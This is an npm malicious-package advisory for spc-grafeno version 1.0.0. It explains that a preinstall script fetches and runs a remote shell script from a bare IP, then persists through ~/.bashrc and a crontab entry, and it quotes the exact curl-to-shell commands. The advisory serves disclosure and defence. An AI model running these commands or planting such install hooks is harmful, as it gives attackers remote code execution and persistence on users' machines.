npm · Malicious package advisory
Malwarespc-grafeno
MAL-2026-15522
Malicious code in spc-grafeno (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1) The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.
Compromised versions (1)
- 1.0.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.